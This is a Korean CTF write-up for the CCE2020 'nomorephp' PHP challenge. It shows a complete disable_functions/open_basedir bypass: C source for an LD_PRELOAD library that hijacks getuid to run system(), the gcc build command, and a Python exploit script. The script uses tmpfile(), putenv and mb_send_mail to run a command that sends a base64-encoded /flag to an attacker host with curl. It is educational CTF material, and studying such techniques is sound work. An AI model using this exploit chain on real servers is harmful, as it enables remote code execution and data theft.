webhacking/writeup

CCE2020 - nomorephp writeup

tting 2020. 10. 6. 19:14

index.php

index.php이다. 대회 후 기억에 의존해 구현한 거라 소스가 살짝 다를 수 있다. a 파라미터를 입력받아 eval로 실행한다. 플래그는 /flag에 있다.

 

 

disable_functions
open_basedir

 

open_basedir 이 설정되어 있다. 이를 우회하기 위한 대부분의 함수들이 막혀있다. disable_functions는 대회 중에 찍어놨다.

 

그래도 방법은 있다. 리눅스 계열에서 LD_PRELOAD라는 환경변수를 제공한다. 여기에 라이브러리를 지정하면 프로세스가 실행될때 해당 라이브러리가 로드된다. 이를 이용하여 다른 라이브러리에 선언된 함수를 덮어쓸수 있다.

 

그리고 php 함수 중 내부적으로 execve를 실행하는 함수들이있다. 대표적으로 mail, error_log, mb_send_mail이 있다. mail은 execve 함수로 /bin/sh를 호출한다. 그리고 /bin/sh에서 getuid 함수를 호출하기 때문에 so파일(라이브러리)의 getuid함수에 페이로드를 넣고 업로드하여 ld_preload로 등록해주면 기존의 getuid함수가 아닌 업로드된 라이브러리의 getuid함수가 실행된다.

 

disable_functions를 보면 mail함수가 막혀있으나 랩핑함수인 mb_send_mail은 막혀있지 않아 mb_send_mail로 익스하면 된다.

 

먼저 so파일을 만들고 빌드한다.

 

#include <stdlib.h>
unsigned int getuid(void){

        char *payload = getenv("payload");
        system(payload);
        return 0;
}

 

gcc -shared -o my.so -fPIC my.c

 

my.so를 업로드하면되는데 파입업로드로 생성되는 tmp파일을 이용하면 된다고 생각했으나 open_basedir로 인해 임시파일이 생성되지 않았다.

 

대회 끝나고 디스코드에 올라온 풀이를 보고 tmpfile이라는 함수를 알게되었다. tmpfile은 리눅스 라이브러리함수이기 때문에 open_basedir에 걸리지 않고 임시파일이 생성된다. 또한 파일명은 stream_get_meta_data로 구할 수 있다.

 

import requests
from urllib import parse

payload = '''
$tmp = tmpfile();
$file_name = stream_get_meta_data($tmp)['uri'];
var_dump(stream_get_meta_data($tmp)['uri']);
fputs($tmp, urldecode($_POST['b']));
fclose();
putenv('LD_PRELOAD='.$file_name);
putenv('payload=curl http://attacker ip/?$(base64%20/flag)');
mb_send_mail(1,1,1);
'''

with open('my.so', 'rb') as f:
    data = f.read()

requests.post('http://server ip/?a=' + payload, data={'b': parse.quote(data)})

 

base64 flag

 

flag

플래그도 직접만든거라 실제 플래그와 다르다.